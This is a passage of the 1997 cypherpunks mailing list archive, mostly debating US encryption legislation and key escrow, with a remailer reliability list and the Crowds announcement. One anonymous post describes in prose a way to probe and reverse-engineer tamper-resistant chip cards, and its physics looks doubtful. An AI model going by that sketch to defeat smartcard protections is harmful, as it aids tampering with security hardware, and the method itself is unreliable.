>As Lucky Green just said, "Cypherpunks write code."
>
>(This can be either direct code, or memetic code, or things related to
>getting actual technological changes distributed. What Cypherpunks _don't_
>do is try to play the Beltway game that Jerry Berman and his ilk play  (so
>poorly, for our issues), or to try to play the Hollywood and Madison Avenue
>games of swaying popular opinion.)
>
>--Tim May
>

Ok, we write code.  But as James S. Tyre pointed out, if the code is
too difficult to use it will not be.  And as Declan pointed out
many/most people will not use the crypto if they must think about it.

Writing the code is no longer enough.  The code must be usable by the
sheeple to work.  How do we do that?

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Mon, 15 Sep 1997 12:52:25 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <3421b157.109175885@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997 09:11:18 -0700, you wrote:

>At 10:05 PM -0700 9/11/97, James S. Tyre wrote:
>>So, the last rhetorical question -- how do you convince someone who's
>>never used a browser (the vast majority of the voting populace, I'd
>>think) why crypto is important?
>
>When I walk through South-of-Market in San Francisco and hear people
>trading URL in conversation as the walk down the street and see URLs on TV,
>Billboards and even the side of busses, I wonder if this assumption is
>really true.
>

A lot of these are the same people who think nothing of giving their
Credit Card numbers over the phone.  Or use the word "SECRET" for a
password.  Until they get burned, they don't think about the problem.

-Doug
-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fnorky@geocities.com (Douglas L. Peterson)
Date: Mon, 15 Sep 1997 12:55:36 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <Pine.GSO.3.95.970911152027.12105Z-100000@well.com>
Message-ID: <3422b46b.109964168@mail.geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 11 Sep 1997 15:38:30 -0700 (PDT), you wrote:

>So I'm reading through the 43-page amendment to SAFE that the House
>Intelligence committee approved today. It includes: 
>
>* Ban on sale of crypto without a backdoor. Five year & fine (maybe
>$250,000?) if violated. Prosecutions can be held in closed-door
>courtrooms, publishers of info about case to be held in contempt of court.
>
>* Federal government computer purchases must use key escrow "immediate
>decryption" after 1998. Same with network established w/Federal funds.
>
>* Such products can be labeled "authorized for sale to U.S. government"
>
>* U.S. government may "not mandate the use of encryption standards" for
>the private sector
>
>* Export decisions aren't subject to judicial review
>
>* Defense & Commerce have controls of exports of crypto
>
>* Establishes Encryption Industry and Information Security Board
>
>* Internet providers, key recovery centers aren't liable if they turn over
>keys following legal standards
>
>* President can negotiate int'l agreements, perhaps punish noncompliant
>governments
>
>I'm still reading... More details shortly...
>
>-Declan
>

How can a law, or how it is applied be exempt from judicial review?
If I understand the first amendment correctly, this is not legal.

AMENDMENT I

Congress shall make no law respecting an establishment of religion, or
prohibiting the free exercise thereof; or abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble, and to petition the Government for a redress of grievances. 

Article III, section 2 of the Constitution states:

1. ***The judicial power shall extend to all cases, in law and equity,
arising under this constitution, the laws of the United States, and
treaties made, or which shall be made under their authority***; to all
cases affecting ambassadors, other public ministers and consuls; to
all cases of admiralty and maritime jurisdiction; to controversies
to which the United States shall be a party; [to controversies between
two or more states, between a state and citizens of another state,
between citizens of different states, between citizens of the same
state, claiming lands under grants of different states, and between a
state, or the citizens thereof, and foreign states, citizens or
subjects.]

The 11th Amendment didn't change the part between the *'s.

If this is correct, any law that Congress would make that prevented me
from seeking judicial review would be unconstitutional.

-Doug


-------------------
Douglas L. Peterson
mailto:fnorky@geocities.com
http://www.geocities.com/SiliconValley/Heights/1271/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sam 'MaCpHReaK'  Chua" <samchua@singnet.com.sg>
Date: Mon, 15 Sep 1997 06:16:37 +0800
To: cypherpunks@toad.com
Subject: Proxies
Message-ID: <v03110701b04209789665@[165.21.186.199]>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know of any public proxies?
Knowing that your sojourns through the net go through your Government's
proxies is really unnerving.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 15 Sep 1997 21:14:53 +0800
To: fight-censorship@vorlon.mit.edu
Subject: EPIC and PI Charge US Violates Intl Crypto Agreement
Message-ID: <Pine.GSO.3.95.970915055839.23467E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 15 Sep 1997 00:57:11 +0100
From: Dave Banisar <banisar@epic.org>
Subject: EPIC and PI Charge US Violates Intl Crypto Agreement

Press Release.

Privacy Groups Criticize United States Crypto Policy.

Charge US Violation of International Agreement.


Brussels - Two leading privacy organizations said today that the United
States cryptography policy violates an international agreement reached
earlier this year by more than two dozen countries at the Organization for
Economic Cooperation and Development.

The Electronic Privacy Information Center and Privacy International said
that recent legislative proposals introduced in the United States to
establish controls on the use of data scrambling technology are contrary to
the principles adopted by the OECD and should be withdrawn.

Marc Rotenberg, the director of EPIC and a member of the expert panel that
drafted the guidelines, said that "the OECD framework is based on the
voluntary, market-driven development of encryption products and services.
The Guidelines emphasize the importance of privacy protection and the need
for careful assessment of any key escrow proposal. Their  were specifically
intended to remove technical and legal obstacles to the use of
cryptography. But the US policy now points in exactly  the opposite
direction -- extensive government regulation, little regard for privacy,
and the rapid development of key escrow techniques regardless of the
consequences."

Mr. Rotenberg said that the OECD member countries considered and explicitly
rejected the US recommendation that cryptography policy be based on law
enforcement access to private communications. "That proposal was turned
down by the OECD member countries. The United States accepted the judgment
of the OECD and endorsed the final recommendations. The U.S. should now
honor its commitment," said Mr. Rotenberg.

Simon Davies, Director General of Privacy International, said "The rush to
encourage technologies for communications surveillance comes at exactly the
wrong time. Illegal wiretapping is on the rise around the world.
Dissidents, political opponents, journalists, and human rights organizers
are most often the targets."

The current issue of the International Privacy Bulletin includes a review
of worldwide privacy abuses in 1996. Electronic surveillance features
prominently in the report. The review is based on "The Country Reports for
Human Rights Practices," prepared annually by the U.S. State Department.

Mr. Rotenberg and Mr. Davies said that the U.S. policy now stands as the
single greatest barrier to the development of tools to protect privacy and
security on the Internet.

The statement was made at a conference this week in Belgium, hosted by
Privacy International and EPIC, on "Cryptography and the Internet:
Developing Privacy and Security Policy for the European Information
Society."  Participants from more than twenty countries attended the event.

The Electronic Privacy Information Center is a civil liberties
organizations, based in Washington, DC. Privacy International is a human
rights organization concerned with privacy, surveillance and data
protection issues worldwide. It is based in London. Both organizations are
members of the Global Internat Liberty Campaign.

WEB RESOURCES

 o EPIC [http://www.epic.org/]
 o Privacy International [http://www.privacy.org/pi/]
 o Global Internet Liberty Campaign [http://www.gilc.org/]
 o Brussels Cryptography Conference
      [http://www.privacy.org/pi/conference/brussels/]
 o OECD Cryptography Policy Guidelines
      [http://www.oecd.org/dsti/iccp/crypto_e.html]

CONTACT (15-17 September)

 Marc Rotenberg, EPIC (Brussels +32 2 227 05 05, voicemail +1 202 298 0824)
 Simon Davies, PI (Brussels +32 2 513 29 73)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 15 Sep 1997 18:19:56 +0800
To: cypherpunks@Algebra.COM
Subject: Ignore
Message-ID: <ea3d2d508401044ef04ecdea32982776@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Gag test. Ignore.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 15 Sep 1997 22:05:17 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199709151350.GAA10842@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 15 Sep 97 6:49:37 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             +#-#*+**+###     3:06  99.98%
cyber    alias@alias.cyberpass.net        ++**+*******    10:34  99.98%
hera     goddesshera@juno.com             --..-----.--  8:56:54  99.97%
valdeez  valdeez@juno.com                 *-.--------   4:48:25  99.85%
neva     remailer@neva.org                -*  #*-+--*-    56:05  99.73%
bureau42 remailer@bureau42.ml.org         -----+-----   3:21:28  99.61%
winsock  winsock@rigel.cyberpass.net      .----------   7:16:41  99.59%
jam      remailer@cypherpunks.ca          ++++++++++++    29:19  99.34%
redneck  config@anon.efga.org             * +++**#**#*     3:52  99.25%
cracker  remailer@anon.efga.org           + ++++++++++    22:45  99.23%
replay   remailer@replay.com                +*****+***     7:01  99.22%
mix      mixmaster@remail.obscura.com     + _  .-*****  8:48:39  98.63%
squirrel mix@squirrel.owl.de              -----  ----   3:02:18  98.12%
reno     middleman@cyberpass.net            --  - ---   4:04:58  94.27%
arrid    arrid@juno.com                   ---- --      12:26:26  73.80%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Mon, 15 Sep 1997 22:25:16 +0800
To: cypherpunks@Algebra.COM
Subject: update to crypto legislation page
Message-ID: <3.0.32.19691231160000.0070c318@best.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.best.com/~geeman

has some new links, the text of the new SAFE amendment thank you Declan,
House Comment that includes a couple of strong statement fom Law
Enforcement, the text of the Calif. legislature's statement to Washington ...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dtrende@bw.edu
Date: Mon, 15 Sep 1997 15:52:41 +0800
To: cypherpunks@toad.com
Subject: Club Pix
Message-ID: <199709150732.HAA55250@out2.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 15 Sep 1997 20:02:56 +0800
To: cypherpunks@toad.com
Subject: Report on Privacy Loss
Message-ID: <1.5.4.32.19970915114138.0081b958@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NYT has a front page special report today on the booming
computer investigative industry which is using legal and
illegal means to mine and peddle personal, corporate and
political data, dirt and damaging secrets. As one nabbed
dick says, it's no longer ex-intel and ex-feebs who are
doing it, now the techies and beagles of all sorts have 
rubbed their eyes at the amazing golddust on their screens. 

It might boost the demand for crypto and other essential
tools for privacy, or it may just lead to more cyber-TLAs 
and -bounties willfully busting the wrong Jim Bells while 
warning their still-connected buddies of "court-okayed" 
wiretaps and traps.

  http://www.nytimes.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 15 Sep 1997 20:38:07 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: unSAFE won't pass?
In-Reply-To: <19970915030641.1770.qmail@hotmail.com>
Message-ID: <Pine.GSO.3.95.970915082535.23461A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



John,

You don't understand the dynamic. At the NatSec hearing last week, there
were two dozen cosponsors on the committee. But all but one voted to gut
the bill. Many others said they were hoodwinked into signing on.

The tide is changing.

-Declan



On Sun, 14 Sep 1997, John Smith wrote:

> Declan McCullagh <declan@well.com>:
> 
> >By late September, the Commerce committee will vote on SAFE. By
> >mid-October, the committee chairs should have worked out a compromise
> >package. This goes to the Rules committee, chaired by Solomon. Until 
> last
> >week he vowed to block SAFE. Now he'd like, I'm told, to get the FBI's
> >version to the floor immediately. There are, however, only so many 
> slots
> >on the suspension calendar.
> 
> The thing I still don't understand is why anyone thinks the house
> will support the new bill.  There were hundreds of co-sponsors for
> SAFE in its original form.  The modified version is exactly the
> opposite of the original SAFE.  So it seems like a majority of house
> members should oppose the bill.
> 
> "John
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 15 Sep 1997 20:53:42 +0800
To: <cypherpunks@toad.com>
Subject: Re: Freeh says FBI doing great, supports Weaver killer
Message-ID: <199709151241.IAA01507@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/15/97 12:36 AM, Douglas L. Peterson (fnorky@geocities.com) 
passed this wisdom:

>Declan, just an observation, but have you noticed that the media
seems
>to incapable of saying the name Randy Weaver without using the words
>white supremacist (or separatist)?  Do you think this is deliberate
or
>just a case of following a pattern set by others?

Randy Weaver maybe wasn't the most politically correct citizen of the
state, but the whole thing that got him in trouble was that they
wanted him to spy on the white supremacists that lived up in the hills
near him and he refused. He had a 'live and let live' attitude about
the whole thing. So far as I have read he wasn't an active white
supremacist so much as he wouldn't come out against them ... now maybe
other evidence has been unearthed since the last time I looked into
the matter in any detail, but that is how I read it.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNB0sxcdZgC62U/gIEQJ+QQCg5/35nA58vcGCw0RwEdFQ7xGgpegAn0vZ
+5bb/FWbCNOSZgUzsZHOTza5
=6QIX
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
     For PGP Keys -  Send Email Subject "Get PGP Key"
       "Home is where your books are" --	Kitty O'Neal






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 15 Sep 1997 20:56:37 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: Ship Code!  Re: House Intelligence Committee Press Release
Message-ID: <199709151244.IAA01417@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/15/97 1:14 AM, Bill Frantz (frantz@netcom.com)  passed this wisdom:

>An encrypt to FBI key system has some really serious 
>vulnerabilities. I scares me to have our financial system, 
>utilities, and airlines, to name just a few vital civilian 
>services, depend on a system with such an obviousflaw. There are 
>people and organizations out there who would love to disrupt these 
>systems, and flawed encryption would give them a powerful tool. 

 ... not the least of which is that the computing horsepower to look at 
each and every message (ya never know; a naked picture of my dog my get 
through) and do even the barest of evaluations on it would swamp the 
system. By way of barest evaluation, just examining the To and From 
fields to see if one of them is on *the list* of suspicious persons.


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
 	"When you find yourself on the side of the majority, it is 
     time to reform."	-- Mark Twain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 15 Sep 1997 21:19:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: GAK will probably be economically impossible
In-Reply-To: <01INNGT441W0AKTJ63@DGN0IG.mcimail.com>
Message-ID: <v03110715b042cf58c0a2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:53 am -0400 on 9/15/97, Bill Stewart wrote:


> Building an infrastructure for a system
> that has keys generated by users, by the millions, is much harder than
> building one for a small centralized system.

Which is why I now believe that GAK, of any form, is doomed. It's
economically impossible.

For instance, it will be much cheaper to double encrypt to a corporate key
ala PGP than to escrow, and so the government may require access to those
keys instead. However, even then the cost of key management -- especially
for communications -- will choke any attempt to manage duplicate-encryption
keys as well. Probably for all but a few kinds of files, like those kept by
the people at the tops large hierarchical organizations. The government,
say? :-).


Those few files the government will be able to decrypt will provide a basis
for claims of their plan's efficacy, of course, just like noise-level
"examples" of welfare helping someone as "proof" of economic efficacy for
the welfare state allowed its perpetuation for so many years. But you
cannot ignore reality forever, as Britain discovered with welfare almost 15
years ago, and we're only now figuring out for ourselves in the US. Even
totalitarianism cannot ignore economic reality, as Russia and China have
shown us.

Not that capitalism equals freedom, of course, but there can be a sizeable
correlation, particularly when your average business is a small one. :-).


However, I think that in the case of GAK, this act of totalitarianism is
economically impossible. If GAK's implemented, people may get hurt before
it finally goes away, but it eventually won't be useful for much from a
national security prospective, and its maintenance costs will eventually
choke it.

Actually, it's probably not possible to make even the prototypes physically
practicable, much less economically so, even if Washington does pass a law
mandating their existence. It would be like passing the 1963 law which
formed Comsat, in, say, 1933. Particularly if the use of strong
cryptography continues it's exponential increase.

That's because the primary economic benefit for deploying the strongest
possible cryptography still remains. You can't do business over the
internet without it.

(It has been this central fact which keeps me interested in cryptography
and the cypherpunks list in particular, and my conversion over time to a
cryptoanarchic world-view has been based on this fact. Oddly enough, I find
most of the philosophic and political arguments on cypherpunks to have a
largely economic component to them at root, which makes sense, because
market reality is just as tangible as physics.  Physical reality dictates
politics and philosophy, and not the other way around.)

Anyway, you can, however, do business over the net without GAK, and since,
I claim, the eventual lowest-cost transaction on the internet will be some
form of anonymous digital bearer certificate, it will never be the case
that GAK is economically necessary, even under the ruse of enforcing
non-repudiation.

In fact, even if all transactions remain book-entry ones, the exploding
total transaction volume and competition to make those transactions
efficient will make GAK economically impossible, because it provides no
tangible benefit to those who use cryptography for business. There's no
economic return on the additional cost.

The cost of anything is the foregone alternative, and the cost of GAK
causes you to forego a lot of money and potential revenue and doesn't buy
you anything in return.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 16 Sep 1997 12:52:42 +0800
To: cypherpunks@algebra.com
Subject: Sen. DiFi in the Merc 9/15 - Same old Same old
Message-ID: <3.0.3.32.19970915090640.00697cf0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The SanJose Mercury News interviewed Senator Dianne Feinstein for today's 
paper.
She gave a good answer on why encryption is im[prtant for protecting our 
privacy,
then segued into why Law Enforcement needs access to it.
Q:"Doesn't government control of encryption technology used by American 
citizens
infringe on their constitutional rights?
A:"No one is talking about intrusion on privacy rights".... telephone 
analogy...
"Encryption is already being used by criminals, terrorists, and drug cartels.
THe terrorists who bombed the World Trade Center had plans to blow up 11
American commercial airliners.  Encrypted files detailing these plots were 
found
on one of the terrorists' computers.  Imagine the tragedies that might not be 
prevented if Law Enforcement officials are unable to decode encrypted files
when necessary."
Q on her district strongly wants encruption
A: "California's high-technology  industry is one of the most potent economic
and technological forces in the world.  The industry is being asked to develop
this technology in a way that does not take away Law Enforcement's ability to
protect public safety.
	People's safety must keep pace with new developments in technology or we
will live to regret it.  I understand the desire, the need even, for companies
to be competitive in a world market.  In this case, the industry is being 
asked to
put people's safety ahead of their bottom line.  It's that simple."

- ---  and much more rot along those lines.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNB1dD/thU5e7emAFAQGv+gH+I71kgKcEpZ5Z93T33TFg/vyD5eUvXB+5
JC+HXwC7XTPtghW3ETB8h+GbtkOwumFpq0Xmd3a4xqaF+x4E+JIwUw==
=dF+5
-----END PGP SIGNATURE-----

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 15 Sep 1997 15:35:03 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: TAMPERPROOFING OF CHIP CARDS
In-Reply-To: <199709120311.XAA10259@users.invweb.net>
Message-ID: <199709150725.JAA00859@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



One other option for non-destructive reverse engineering is to drive Vcc
with high frequency AC and measure the resonant frequencies on the chip. 
(Same is true for the ground pins, but this is complicated because the
substrate is often grounded and introduces a large capacitance) 

This produces a general `map' of the chip, although many of the
frequencies will overlap and be indistinguishable.  To remove the unwanted
noise, it is necessary to damp out the parts of the chip that you're not
interested in.  There are a variety of ways to do this but the one of the
easiest is with the magnetoresistance effect.  Disk drive rw heads work
well for this. (it's usually better to magnetize the whole chip and then
unmagnetize the part you want to look at.) 

Input pins are most likely connected to an insulated gate, but this will
act like a capacitor, allowing ac into the channel, so we can probe these
to see where they go.  Newer chips have filters on the inputs which makes
this more difficult. 

once you have selected a target area, turn on the transistor(s) by any of
the usual methods (uv light, electron beam, external e-field...if you're
poor you could try pumping the substrate to induce latch-up, though this
isn't very `selective' in what it turns on) 

Two main problems with this techinque:  One is that the relevant
resonances are on the order of 10-100 GHz.  Obviously you are not just
going to plug that into your average scope and expect it to work.  The
usual advice is to maintain a reference oscillator and measure the
interference with respect to your `probe'.  If you have access to some of
the newer GaAs amps, you can modulate the signals and then measure the
lower sideband. 

The other problem is the finite resolution (even if you have a really good
magnetic head you just can't get close enough to the surface without
destuctive techniques.)  To a large degree, you have to `brute force'
guess, and see what model best fits the data.  I shouldn't have to explain
the details of this technique to a group of cryptographers. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Mynott <stevey@webmedia.com>
Date: Mon, 15 Sep 1997 16:40:12 +0800
To: "cypherpunks@toad.com>
Subject: Digested version?
Message-ID: <341CF1B5.AA32B70E@webmedia.com>
MIME-Version: 1.0
Content-Type: text/plain



Is there a digested version of this list available?

-- 
Steve Mynott, work: http://webmedia.com/ +44 171 317 1341         ---- 
strange: http://machine-elves.com/    mobile: 0956 265761        | \_|_\
pegwit v8 public key = \                                         |_|_| |
cbecf90546ea12b28de9e6fdbb956ee8cf83bbcd63726a93643f44a474acdfb9  \|__\|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 16 Sep 1997 00:56:25 +0800
To: cypherpunks@toad.com
Subject: Feinstein for governor! Good news for the US, bad news for CA
Message-ID: <Pine.GSO.3.95.970915093629.15738O-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




*26  CALIFORNIA:  LAYING THE GROUNDWORK FOR NOT RUNNING?
	Sen. Dianne Feinstein (D), in a "rare interview regarding
her political future, spoke glowingly of the chance to return
home" as the state's next gov., calling it a "very attractive"
possibility. "At the same time, Feinstein said she enjoys her
work in the Senate more than ever before and that her
'effectiveness can grow on a national level'" if she remains in
DC.  Throughout the 45-minute interview with the San Francisco
Chronicle, Feinstein "appeared deeply torn over her choice. 
Despite the urgings of some fellow Democrats to speed her
decision, Feinstein said it may be several months before she
declares her intentions. ... The key conflict appears to be
Feinstein's interest in becoming governor versus her reluctance
to endure a grueling campaign."  Were she to run, Feinstein said
the "cornerstone of her campaign would be a plan to fundamentally
restructure elementary education."  At the same time, Feinstein
"sees her effectiveness building in the Senate": "I actually like
the Senate much more now than I did initially.  I'm more
accustomed to its eclectic proceedings and rules and think I can
work on both sides of the aisle."  The legal filing deadline to
enter the 6/2/98 primary is 2/9/98, "and Feinstein said that if
she chooses to run, she could wait until the last moment to
file."  Feinstein "brushed aside the notion that uncertainty
surrounding her candidacy is freezing the field": "It's unrelated
to me.  There's plenty of time. ... It is important at this stage
that there be a strong Democratic governor with a sense of where
this state needs to go.  And it doesn't necessarily have to be
me" (Sandalow, 9/12). 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Mon, 15 Sep 1997 21:55:06 +0800
To: cypherpunks@toad.com
Subject: Crowds code NOW AVAILABLE for Unix
Message-ID: <199709151340.JAA14445@cloak.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain




Crowds is a new system for protecting your anonymity while you browse
the web.  We have recently obtained a release for the code from AT&T 
and have been testing the system with a handful of volunteers.  
Thanks to their efforts, we now feel more prepared to support a larger 
user community.

So, if you are interested in browsing the web with better anonymity
than the Anonymizer, check out

http://www.research.att.com/projects/crowds

There are two steps. The first is obtaining the code. After you accept
the license agreement, expect a 24 hour turnaround to receive the code
by e-mail. Second, if you would like to join our crowd, fill out the
registration page, and expect 24 hours before you are admitted. (These
steps can proceed in parallel.)

The system requires Perl 5.003 or higher, and has been tested on
SunOS, Solaris, and Irix.  Our next target is Linux.

- Mike Reiter and Avi Rubin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 16 Sep 1997 01:33:07 +0800
To: fnorky@geocities.com (Douglas L. Peterson)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3420afc6.108774731@mail.geocities.com>
Message-ID: <199709151709.KAA05123@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Writing the code is no longer enough.  The code must be usable by the
> sheeple to work.  How do we do that?

	Sell code.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Mon, 15 Sep 1997 22:39:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re:unSAFE won't pass
Message-ID: <199709151418.KAA08991@mail4.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 10:31 PM 9/14/97 -0400, Will Rodger explained his view that:

